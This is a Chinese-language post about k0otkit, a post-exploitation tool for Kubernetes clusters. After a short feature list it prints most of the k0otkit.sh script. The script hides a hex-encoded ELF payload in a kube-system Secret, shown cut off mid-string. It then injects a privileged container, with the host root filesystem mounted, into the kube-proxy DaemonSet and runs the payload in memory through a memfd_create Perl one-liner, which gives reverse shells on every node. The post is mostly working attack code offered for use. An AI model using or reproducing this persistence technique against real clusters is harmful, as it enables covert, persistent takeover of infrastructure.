云原生安全之k0otkit后渗透利用

云原生安全之k0otkit后渗透利用

k0otkit 是一种通用的后渗透技术，可用于对 Kubernetes 集群的渗透。使用 k0otkit，您可以以快速、隐蔽和连续的方式（反向 shell）操作目标 Kubernetes 集群中的所有节点。

K0otkit使用到的技术：
● DaemonSet和Secret资源（快速持续反弹、资源分离）
● kube-proxy镜像（就地取材）
● 动态容器注入（高隐蔽性）
● Meterpreter（流量加密）
● 无文件攻击（高隐蔽性

#生成k0otkit
./pre_exp.sh

#监听
./handle_multi_reverse_shell.sh

k0otkit.sh的内容复制到master执行：

volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace: kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......

# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
  | kubectl --kubeconfig /root/.kube/config replace -f -